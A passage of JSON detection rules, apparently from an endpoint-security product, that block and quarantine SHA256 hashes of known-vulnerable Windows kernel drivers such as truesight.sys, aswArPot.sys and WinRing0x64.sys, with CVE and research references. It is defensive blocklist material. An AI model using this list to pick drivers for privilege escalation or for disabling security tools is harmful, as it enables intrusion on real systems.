+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605845Z",
+  "creation_date": "2026-03-23T11:45:29.605847Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605852Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e3f2ee22dec15061919583e4beb8abb3b29b283e2bcb46badf2bfde65f5ea8dd",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9a1b1656-6c47-5d2e-b0eb-557b0b5436b8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983797Z",
+  "creation_date": "2026-03-23T11:45:29.983799Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983805Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "61a1bdddd3c512e681818debb5bee94db701768fc25e674fcad46592a3259bd0",
+  "comment": "Vulnerable Kernel Driver (aka GLCKIO2.sys) [https://www.loldrivers.io/drivers/52ded752-2708-499e-8f37-98e4a9adc23c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9a1ef8f8-3486-5f9a-883a-6baf5f16c3eb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.152520Z",
+  "creation_date": "2026-03-23T11:45:31.152523Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.152531Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "906fc56b9ac376f202eef00fad708b2ba9b0226eae5d941ccbe772a514367ce2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9a239e43-33b5-5cfc-aa67-eed9c38df89b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.825262Z",
+  "creation_date": "2026-03-23T11:45:30.825266Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.825274Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "808c745b66231b01d1655ffda763a1a3cb5077541662cdb7de3f5648e0991693",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9a26c4dc-097c-5d0d-81a0-61da1290710c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619665Z",
+  "creation_date": "2026-03-23T11:45:29.619667Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619673Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1d804efc9a1a012e1f68288c0a2833b13d00eecd4a6e93258ba100aa07e3406f",
+  "comment": "Super Micro Computer dangerous update tool (aka superbmc.sys) [https://www.loldrivers.io/drivers/9074a02a-b1ca-4bfb-8918-5b88e91c04a2/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9a32445c-0de3-5044-ba0c-2ba635b66d2e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818452Z",
+  "creation_date": "2026-03-23T11:45:30.818454Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818459Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "212c05b487cd4e64de2a1077b789e47e9ac3361efa24d9aab3cc6ad4bd3bd76a",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9a33f32d-c7ef-5437-a35e-47908af457be",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144357Z",
+  "creation_date": "2026-03-23T11:45:31.144359Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144365Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3ba14a1e3e51eaa08fb50d3768297efe407509d7ea52f7a9e7a25aacb25fe0c3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9a373c51-9441-555e-b452-dc2960fb712e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141938Z",
+  "creation_date": "2026-03-23T11:45:31.141940Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141952Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0d470511934c81f329a0801774742e76f7c462ff3b324aeb00bc1861e6d8312e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9a3d5e59-f70a-578f-ab6e-b1de7b283865",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.149239Z",
+  "creation_date": "2026-03-23T11:45:31.149241Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.149247Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0d890a2dace9686bccf5030ce6c745228e1d2ddf17b5c2f9015c2400e177aa05",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9a3e068d-7c62-5b31-9318-c7e24af8abdc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818888Z",
+  "creation_date": "2026-03-23T11:45:30.818890Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818896Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "559ef0d415c5c3dbc1bfd598f4cad75aac9d4c5c6660fb61b23e44da4dbf89a9",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9a4426e9-1efe-5309-ae00-902995d997c0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.813648Z",
+  "creation_date": "2026-03-23T11:45:31.813650Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.813656Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "13b5655c58306938d080551c66d473c1d16741a37450e6fba6c25f8ad496771e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9a4ce970-7cd2-5fb0-807d-9ee0d8c51919",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969204Z",
+  "creation_date": "2026-03-23T11:45:29.969206Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969211Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "86a1b1bacc0c51332c9979e6aad84b5fba335df6b9a096ccb7681ab0779a8882",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9a62e65f-a194-500c-84c9-499a17f147d7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145485Z",
+  "creation_date": "2026-03-23T11:45:31.145487Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145493Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0372eb7f1e79114ca1cb9d718b8b4a6297e2c38a460e9c13978b6d052c35b834",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9a648736-1d70-5548-9e5f-4d003f11eb3a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617185Z",
+  "creation_date": "2026-03-23T11:45:29.617187Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617192Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3ec5ad51e6879464dfbccb9f4ed76c6325056a42548d5994ba869da9c4c039a8",
+  "comment": "Noriyuki MIYAZAKI's WinRing0 dangerous driver (aka WinRing0x64.sys) [CVE-2020-14979] [https://www.loldrivers.io/drivers/f0fd5bc6-9ebd-4eb0-93ce-9256a5b9abf9/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9a791e18-a3e5-528e-8275-0f323e4b426c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610975Z",
+  "creation_date": "2026-03-23T11:45:29.610977Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610983Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1399e65aa55c898a6cd5fb32d4b19f5bbaf69c56c1383963c99b7a0804eb0203",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9a7e3c3b-3c13-5aa2-8593-0d5ef08e57ae",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979221Z",
+  "creation_date": "2026-03-23T11:45:29.979223Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979228Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cb9890d4e303a4c03095d7bc176c42dee1b47d8aa58e2f442ec1514c8f9e3cec",
+  "comment": "Vulnerable Kernel Driver (aka nt2.sys) [https://www.loldrivers.io/drivers/cacc48e6-6ed8-431c-abee-88ee6c2dc3c1/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9a819009-8046-5d96-a116-6d985de74d93",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.457621Z",
+  "creation_date": "2026-03-23T11:45:30.457625Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.457644Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "902b754dd302a994074ea8d3e619d2f9000e6c6997e428f19f41533f7c5e192c",
+  "comment": "Vulnerable Kernel Driver (aka rtkio64.sys ) [https://www.loldrivers.io/drivers/8d3f27bd-c3fd-48d0-913a-e2caa6fbd025/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9a81a80d-85e4-5edb-a62a-d0a52f111990",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971255Z",
+  "creation_date": "2026-03-23T11:45:29.971258Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971266Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2bbc6b9dd5e6d0327250b32305be20c89b19b56d33a096522ee33f22d8c82ff1",
+  "comment": "MalwareFox AntiMalware Vulnerable Driver (aka zam64.sys and zam32.sys) [CVE-2021-31727, CVE-2021-31728] [https://www.loldrivers.io/drivers/e5f12b82-8d07-474e-9587-8c7b3714d60c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9a897261-8c53-536d-8ce9-d993a3a3c599",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616899Z",
+  "creation_date": "2026-03-23T11:45:29.616902Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616911Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "05e2d2f2b58da5391598d30d7f5f33ae38cfeb0d9b9ae19b4312de39c678f301",
+  "comment": "American Megatrends vulnerable BIOS flash tool (aka UCOREW64.SYS and amifldrv64.sys) [https://www.loldrivers.io/drivers/a338a9fc-9fe3-400c-9fe4-69bb7892602d/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9a9442d9-b98b-53a7-9a5c-b2f3b18a975f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141856Z",
+  "creation_date": "2026-03-23T11:45:31.141858Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141864Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7c906804b11db7ca188e268146df47da23c570e4641e02f933ae1d9d3519c399",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9a99b515-0416-5e24-9dd6-c71ad90daf0b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.491116Z",
+  "creation_date": "2026-03-23T11:45:31.491120Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.491128Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b0a81746b9c63ddf4bc6fa6d073a1a98fcacea3a8b628a5d615bf5644d9e0bcf",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9aa19a9d-ca6c-54db-bc9e-8e958d640f64",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818965Z",
+  "creation_date": "2026-03-23T11:45:30.818967Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818972Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "23440de2db935be1c06b40ff2809215d00d95930abe3fda70ea57cf8a9fc0e98",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9ac7d5f5-33da-575b-be02-23f76869dc8c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
